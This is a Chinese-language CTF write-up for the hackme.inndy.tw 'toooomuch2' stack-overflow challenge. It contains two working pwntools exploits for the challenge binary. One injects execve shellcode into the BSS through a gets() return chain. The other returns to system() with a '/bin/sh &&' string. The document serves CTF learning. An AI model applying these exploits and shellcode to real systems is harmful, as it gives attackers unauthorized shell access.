hackme.inndy.tw toooomuch2 writeup

description: hackme.inndy.tw toooomuch2 writeup 思路分析。

0x00 介绍

这一题很简单的栈溢出PWN题。作为入门选手,做的过程也有点小波折。
题目地址https://hackme.inndy.tw/,有时需要FQ。
检查防护

1
2
3
4
5
6
7
[*] '/home/lin/wdoc/program-learn/ctf_learn/hackme.inndy.tw/pwn/tooomuch2/toooomuch'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

什么防护都没有。
拖到IDA里看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int toooomuch()
{
int result; // eax@2
char s; // [sp+0h] [bp-18h]@1

printf("Give me your passcode: ");
gets(&s);
strcpy(passcode, &s);
if ( check_passcode() )
result = play_a_game();
else
result = puts("You are not allowed here!");
return result;
}

这个是漏洞函数,可以看出漏洞输入点在gets(&s)函数调用。gets用来读入一个字符串,没有限制输入长度。s是位于bp-18h的位置,bp后面是之前bp的位置,通过看反汇编代码,可以看到有一个设置临时栈的动作。

1
2
push ebp
mov ebp, esp

栈如下:
img
当我们在输入时给s 018+8个a时,就能覆盖掉toooomuch函数的返回地址,此时会出现异常,core dump。

0x01 利用思路

没有防护+溢出。这里的利用方法可能有很多种,网上看到是将shellcode放到bss段,然后利用溢出,中转到bss段去执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = process('./toooomuch')
elf = ELF('./toooomuch')


shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

gets_addr = p32(elf.symbols['gets'])
bss_addr = p32(elf.bss())
payload = fit({0x18 + 0x4:[gets_addr, bss_addr, bss_addr]})
p.sendlineafter('your passcode: ', payload)
p.sendline(shellcode)
p.interactive()

执行流程是:

  1. tooomuch返回到gets上,将gets的返回地址设置为bss_addr,因为没有限制NX,所以BSS段也是可执行的
  2. 然后在gets执行时,将shellcode输入,此时shellcode就位于BSS段起始位置。
  3. 之后gets返回,执行shellcode。
    出题人的提示是,也是用shellcode。
    1
    2
    3
    nc hackme.inndy.tw 7702
    Get a shell, please.
    Tips: Buffer overflow, 0x8048560, shellcode

我自己的思路是利用代码中已经加载的system函数,调用它来获取shell。system需要一个输入/bin/sh字符串。通过gets时输入,整个利用exp如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = process('./toooomuch')
elf = ELF('./toooomuch')


system = p32(elf.symbols['system'])
passcode = p32(elf.symbols['passcode'])
binsh = '/bin/sh &&'
payload = binsh + (0x18 + 4- len(binsh) ) * 'a' + system + passcode + passcode
p.sendlineafter('your passcode: ', payload)
p.interactive()

之所以在/bin/sh后加了&&,是为了截断输入。否则system会把后面的输入当成是/bin/sh的参数,当成了一个命令调用。整个流程比shellcode要简单

  1. 拼接payload, /bin/sh && 加上一些填充字符’a’, 后面是调用地址 + 返回地址 + 参数地址。这里利用了代码中将输入复制到了passcode变量,所以使用passcode作为输入参数。
  2. 输入payload
  3. 返回到system,传入参数是passcode。
  4. get shell

0x02 总结

  1. 一开按照自己的思路填充栈时,没有考虑到设置临时栈时push ebp的动作,返回地址没有正确覆盖,一直没有成功,后来通过gdb调试才意识到。
  2. binsh的命令截断有很多姿势。/bin/sh;, 加分号也可以。